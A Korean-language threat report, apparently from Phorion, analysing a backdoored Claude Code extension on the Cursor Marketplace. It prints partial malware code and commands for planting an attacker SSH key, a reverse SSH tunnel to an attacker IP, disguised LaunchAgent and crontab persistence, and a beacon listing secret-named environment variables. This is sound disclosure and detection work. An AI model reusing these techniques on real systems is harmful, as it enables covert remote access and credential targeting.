요약
Phorion은 Cursor Marketplace에 올라온 공식 Claude Code for VS Code 확장 프로그램 번들에서 macOS, Linux, Windows 전반에 걸쳐 영구적인 SSH (Secure Shell) 백도어를 떨어뜨리는(drop) 백도어를 감지했습니다. 본 글에서는 주로 macOS에 초점을 맞추어 해당 확장 프로그램이 어떻게 SSH 백도어를 구성하고 지속성을 확보하는지 설명합니다.
조직들은 Claude Code for VSCode 2.1.312 또는 2.1.313을 사용한 환경을 즉시 검토해야 하며, 해당 확장 프로그램의 사용이 발견된 경우 사고 대응(incident response) 절차를 진행해야 합니다.
개정 이력
**최초 게시***마켓플레이스 수정
영향받은 마켓플레이스가 Cursor로 수정되었습니다. 버전 범위 업데이트
Cursor의 업데이트된 공지에 따라 2.1.312가 추가되었습니다.
Phorion은 Cursor Marketplace에 올라온 공식 Claude Code for VS Code 확장 프로그램에서 보안 침해를 발견했으며, 백도어가 심어진 이 확장 프로그램 번들에는 지속적인 Secure Shell (SSH) 백도어가 포함되어 있습니다. Cursor는 영향을 받은 버전인 2.1.312와 2.1.313을 마켓플레이스에서 제거했습니다.
이 악성 코드는 macOS, Linux, Windows를 위한 설정 및 지속성 로직을 포함하고 있지만, 본 게시물에서는 주로 macOS에 초점을 맞추어 주요 차이점과 다른 플랫폼에서의 몇 가지 구현 버그들을 함께 언급하겠습니다.
Cursor Marketplace는 Cursor 에디터용 확장 프로그램을 제공합니다. 확장 프로그램은 IDE와 이를 실행하는 사용자의 권한으로 실행되기 때문에, 백도어가 심어진 확장 프로그램은 모듈이 로드되는 즉시 로컬 파일, 소스 코드 및 개발자 도구에 대한 접근 권한을 얻게 됩니다.
주목할 만한 점은 Phorion이 이 악성 코드가 SSH를 활성화하려고 시도하는 방식에서 발생했을 가능성이 높은 간과된 부분을 발견했다는 것입니다. 해당 설정 로직은 루트(root) 권한 없이 현재 원격 로그인 상태를 확인할 수 있다고 가정합니다. 일반 사용자로 실행할 경우, systemsetup -getremotelogin 명령어는 '관리자 액세스 오류' 메시지를 출력하고 종료 상태 코드로 0을 반환하며, 대신 Off라는 값을 반환하지 않습니다. 이 스크립트는 출력이 Off와 일치하는 경우에만 SSH를 활성화하려고 시도하기 때문에...
, 완전히 활성화 단계를 건너뜁니다. 이미 SSH가 실행되고 있지 않은 Mac의 경우, 이 오류는 인바운드 접근 경로를 손상시키지만, 여전히 SSH 키와 지속성(persistence)은 기록됩니다.
본 게시물에서는 백도어가 어떻게 작동하는지, 왜 해당 macOS 검사가 실패하는지, 그리고 조직 전체(fleet)에서 무엇을 찾아야 하는지 설명할 것입니다. 이 페이로드의 목표는 장기적인 대화형 접근(long-term interactive access)이며, SSH 백도어 버그가 macOS에 미치는 영향을 최소화하긴 하지만, 여전히 지속성을 설치하고 호스트 정찰(host reconnaissance) 정보를 운영자에게 전송하는 심각한 위협입니다.
감염 체인 (Infection Chain)
Cursor Marketplace 확장 프로그램
손상된 extension.js 파일은 난독화(minified)된 확장 프로그램 번들 앞에 주입된 즉시 실행 함수 표현식(IIFE: Immediately Invoked Function Expression)으로 시작합니다. 나머지 번들은 Claude Code 및 VS Code 문자열, 일반적인 activate와 deactivate 내보내기(exports), UI 코드를 가진 표준 확장 프로그램처럼 보입니다.
주입된 접두사(prefix)는 표준 Node.js 모듈(child_process, fs, os, path, http, crypto)을 가져와 파일이 로드되는 즉시, 심지어 확장 프로그램의 일반적인 activate 콜백이 실행되기 전에 실행됩니다. 페이로드가 작동하기 위해 사용자가 확장 프로그램과 상호작용할 필요가 없습니다.
단계 1 - SSH 접근 준비
먼저, 페이로드는 ~/.ssh가 존재하는지 확인하고 공격자가 제어하는 Ed25519 공개 키를 ~/.ssh/authorized_keys에 추가하며, 디렉터리 권한은 0700, 파일 권한은 0600으로 설정합니다.
이 키는 주석(comment)으로 svc-telemetry를 사용합니다. 추가하기 전에 스크립트는 키 자체를 확인하는 대신 파일에 이미 svc-telemetry가 있는지 확인합니다. 이러한 활동을 추적할 때는 단순히 주석 문자열에만 의존하기보다 공개 키 지문(public-key fingerprint)을 확인하는 것이 좋습니다.
var sd = path.join(HOME, ".ssh"),
ak = path.join(sd, "authorized_keys");
// ...
...
여기서 cur는 authorized_keys의 기존 내용을 담고 있으며, PUB
임베드된 공격자 공개 키입니다 (여기서는 마스킹됨).
키가 배치되면, 실제로 SSH가 실행되고 있다는 전제 하에, 일치하는 개인 키를 가진 누구나 해당 사용자로 인증할 수 있습니다. 스크립트의 다음 단계는 로컬 SSH 데몬(SSH daemon)이 활성화되어 리스닝 중인지 확인하려고 합니다:
Linux: systemctl을 통해 sshd 또는 ssh를 활성화하고 시작하려고 시도하며, 실패할 경우 service와 /etc/init.d/로 폴백합니다.
macOS: 원격 로그인(Remote Login)을 확인하고, 만약 이 기능이 Off라고 보고하면 sudo -n systemsetup -setremotelogin on을 통해 활성화하려고 시도합니다.
Windows: PowerShell을 사용하여 OpenSSH Server를 설치하고 시작하려고 시도합니다.
이 단계들 중 어느 것도 권한 상승 익스플로잇(privilege escalation exploit)을 포함하지 않습니다. 비대화형 sudo -n은 사용자가 이미 비밀번호 없는 sudo를 캐시하거나 구성하지 않았다면 실패할 것이므로, 표준 사용자 컨텍스트에서 시스템 서비스를 시작하는 것이 항상 성공하는 것은 아닙니다.
윈도우 코드 경로에도 자체적인 버그가 있는 것 같습니다. 이 경로는 PowerShell 서비스 설정 명령을 하드코딩된 /bin/sh를 사용하는 헬퍼 함수(det())를 통해 전달하는데, 이는 표준 윈도우 설치에서는 큰 의미가 없습니다.
macOS SSH 로직의 버그?
macOS에서는 설정이 sudo 명령에 도달하기도 전에 문제가 발생할 수 있습니다. 스크립트는 권한 상승 없이 systemsetup -getremotelogin을 실행하고, 그 출력을 /Off/i와 비교합니다. 출력에 Off가 포함되어 있을 경우에만 원격 로그인(Remote Login) 활성화를 시도합니다:
// ...
else if (PLAT === "darwin") {
var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
...
두 번째 명령(-setremotelogin on)은 sudo -n을 사용하지만, 첫 번째 명령(-getremotelogin)은 그렇지 않다는 점에 주목하십시오. macOS에서 표준 사용자로서 systemsetup -getremotelogin을 실행하면 대신 다음 메시지가 표시됩니다:
You need administrator access to run this tool... exiting!
systemsetup은 관리자 권한 없이 설정을 읽는 것을 거부하고, 오류를 표준 출력(stdout)에 출력하며 상태 코드 0으로 종료됩니다. 악성코드의 ex() 헬퍼는 이 표준 출력을 가져와 반환합니다:
function ex(c, t) {
try {
return cp.execSync(c, {
...
출력이 "이 도구를 실행하려면 관리자 액세스가 필요합니다... 종료합니다!"인 경우,
/Off/i.test(rl)은 false를 반환합니다.
결과적으로 스크립트는 if 블록을 건너뛰고 sudo -n systemsetup -setremotelogin on을 실행하지 않습니다. 이는 사실상 “SSH가 꺼 있는지 확인할 권한이 없다”는 것을 “이미 SSH가 켜져 있다”로 간주하는 것이며, 이 때문에 확장 프로그램이 일반 사용자로 실행될 때 프로세스 원격 측정(process telemetry)에서 활성화 시도를 볼 수 없는 이유를 설명합니다.
이 버그는 접근 체인의 마지막 단계를 무너뜨릴 수 있습니다. 만약 Mac에 원격 로그인(Remote Login)이 이미 활성화되어 있지 않다면, 아웃바운드 터널은 여전히 공격자의 서버에 연결할 수 있지만, 터널을 통해 다시 전달되는 모든 트래픽은 localhost의 닫힌 포트 22에 도달하게 됩니다.
물론 이것은 방어 수단으로 의존할 만한 것은 아닙니다. 사용자가 이미 원격 로그인을 활성화했거나 나중에 활성화한다면, 백도어는 준비되어 대기하고 있습니다.
단계 2 - 리버스 SSH 터널 구축 (Establishing the Reverse SSH Tunnel)
다음으로 스크립트는 포트 22에서 tunnel 사용자로서 134.209.82[.]225로 아웃바운드 SSH 연결을 설정합니다. 공격자의 서버에 인증하기 위해, 별도의 임베디드 프라이빗 키를 디코드하는데, 이는 주석(comment)이 svc-telemetry-tun인 암호화되지 않은 OpenSSH Ed25519 키입니다.
조사 과정에서 두 개의 키를 구분하는 것이 중요합니다:
~/.ssh/authorized_keys에 추가된 공개 키 (svc-telemetry)는 공격자가 피해자 기기에 로그인할 수 있게 합니다.
- 임베디드 프라이빗 키 (
svc-telemetry-tun)는 피해자 기기가 공격자의 터널 서버로 연결할 수 있게 합니다.
스크립트는 이 터널 키를 OS 임시 디렉터리에 파일명에 .stk_가 붙고, 호스트 이름 및 홈 디렉터리 경로의 MD5 해시 첫 10자리 숫자가 뒤따르는 형태로 작성합니다:
var kf = path.join(
TMP,
".stk_" + crypto.createHash("md5")
...
이 터널은 원격 포트 포워딩(remote port forwarding)을 위해 -R *:0:localhost:22를 사용합니다. 0을 전달하는 것은...
공격자의 SSH 서버에 동적으로 리스닝 포트를 할당하고, 그 포트로 들어오는 모든 트래픽을 터널을 통해 피해자 기기의 localhost:22로 전달하도록 요청합니다:
Affected host -- outbound SSH tunnel --> External SSH server
Operator -- separate connection --> Server's allocated port
|
...
이 터널은 -N 옵션으로 실행되므로, 원격 서버에서 명령을 실행하지 않고 단순히 포트 포워딩만 열어둡니다. 운영자가 해당 기기에 접근하려면, 자신의 서버에 할당된 포트를 통해 별도의 SSH 세션을 시작하고, Stage 1에서 심어진 키를 사용하여 피해자의 로컬 SSH 데몬에 인증합니다. 이를 통해 JavaScript 자체에 사용자 지정 C2(Command and Control) 명령 처리가 필요 없이 완전한 상호작용 쉘과 파일 전송 기능을 얻게 됩니다.
또한 이 SSH 명령어는 연결을 조용하고 비상호작용적으로 유지하기 위해 여러 플래그를 전달합니다: 호스트 키 확인(host-key checking)은 비활성화되고, known_hosts 파일은 무시되며, BatchMode와 IdentitiesOnly가 활성화됩니다. keepalive는 30초로 설정(ServerAliveCountMax=3)되며, ExitOnForwardFailure가 켜집니다.
만약 autossh가 설치되어 있다면 스크립트는 이를 사용하고, 그렇지 않으면 표준 ssh로 대체됩니다. 이 연결은 분리된(detached) 재시도 루프 안에 캡슐화되어 있으며, 시도 간에 60초 동안 대기합니다. Unix 시스템에서는 중복된 초기 터널이 생성되는 것을 방지하기 위해 pgrep을 사용합니다. 이 루프가 분리되었기 때문에, 사용자가 IDE를 닫은 후에도 터널은 계속 유지됩니다.
스테이지 3 - 접근성 유지 (Keeping Access Available)
재부팅을 생존하기 위해, 스크립트는 초기 분리된 터널과 함께 플랫폼별 지속성(persistence) 설정을 구성합니다:
| 플랫폼 | 아티팩트 | 지속성 메커니즘 | 참고 사항 |
|---|
| Linux | ~/.config/.smt , ~/.config/.smtk | 터널 키를 재구성하는 셸 스크립트를 작성하고 SSH 연결을 루프하며, 사용자 크론탭(crontab)에 @reboot 항목을 추가합니다. | 크론탭 확인 과정에서 버그가 있어 반복 실행 시 기존 사용자 크론 작업이 삭제될 수 있습니다 (자세한 내용은 아래 참조). |
| ... | | | |
macOS와 Linux의 경우, ~/.config/.smt 스크립트에는 터널 프라이빗 키(tunnel private key)가 내장되어 있으며, 재연결 루프를 시작하기 전에 이를 ~/.config/.smtk로 작성합니다.
macOS에서는 LaunchAgent가 ~/Library/LaunchAgents/ 안에 있는 com.apple.sysmond.plist로 위장합니다:
<key>Label</key>
<string>com.apple.sysmond</string>
<!-- ... -->
...
Stage 4 - 호스트 정찰 (Host Recon)
마지막으로, 스크립트는 기본적인 호스트 정찰 정보를 수집하고 공격자의 서버로 일회성 비콘(beacon)을 전송합니다:
- 호스트 이름, 사용자 이름, OS 플랫폼 및 아키텍처
- 홈 디렉토리, 현재 작업 디렉토리, 그리고 전역 Git 이메일(
git config --global user.email)
- 각 설정 단계에서 얻은 공개 IP 주소 및 상태 플래그 (예: SSH 키가 추가되었는지 여부와 어떤 지속성 방법이 실행되었는지)
- 최대 40개의 환경 변수 이름 (값 제외) 중
/KEY|TOKEN|SECRET|PASS|AWS|GCP/i 패턴과 일치하는 것
환경 변수 확인은 Object.keys(process.env)를 사용합니다:
Object.keys(process.env)
.filter(function(k) {
return /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k)
...
이것은 변수 이름만 가져오기 때문에, 비콘 자체는 비밀 값들을 유출하지 않습니다. 대신, 운영자에게 해당 장치에 어떤 클라우드 자격 증명이나 API 토큰이 존재하는지 신속하게 목록을 제공하여 어느 호스트를 우선순위로 지정해야 하는지 알 수 있게 합니다.
장치의 공개 IP 주소를 얻기 위해 스크립트는 ifconfig[.]me를 쿼리하고, 실패할 경우 api[.]ipify[.]org에 의존합니다.
그런 다음, 두 곳인 134.209.82[.]225:8099와 127.0.0.1:8099의 /beacon으로 평문 HTTP POST 요청을 통해 JSON 보고서를 전송합니다:
var r = http.request({
host: h,
port: p,
...
왜 이것이 비콘(beacon) 사본을 127.0.0.1:8099로 전송하는지는 샘플만으로는 명확하지 않습니다. 스크립트 자체는 해당 포트에 로컬 리스너를 설정하지 않습니다.
비콘은 setTimeout을 사용하여 한 번 예약되며 (초기 설정 실행 후 1.5초 뒤), res.resume()으로 모든 HTTP 응답을 폐기합니다. 이는 오퍼레이터에게 호스트가 준비되었음을 알리는 순수한 체크인(check-in)일 뿐이며, 실제 접근은 SSH 터널이 처리합니다.
탐지 기회 (Detection Opportunities)
탐지 관점에서 볼 때, 이 체인(chain)에는 macOS에서 엔드포인트 보안 프레임워크(Endpoint Security Framework, ESF) 텔레메트리(telemetry)를 사용하여 두드러지는 몇 가지 동작이 있습니다.
SSH 키 및 구성 변경 (SSH Key and Configuration Changes)
악성코드가 Node의 fs.appendFileSync를 사용하여 ~/.ssh/authorized_keys에 직접 추가하기 때문에, echo나 tee 같은 셸 명령어(shell command)가 authorized_keys 파일을 건드리는 것을 감시하는 프로세스 전용 규칙만으로는 이를 포착할 수 없습니다. 이 경우 파일 수정 텔레메트리(file modification telemetry)가 필수적입니다. 즉, IDE 도우미 프로세스(Code Helper, Cursor Helper 등)가 ~/.ssh/authorized_keys를 생성하거나 쓰기 작업을 하는 것을 감시해야 합니다.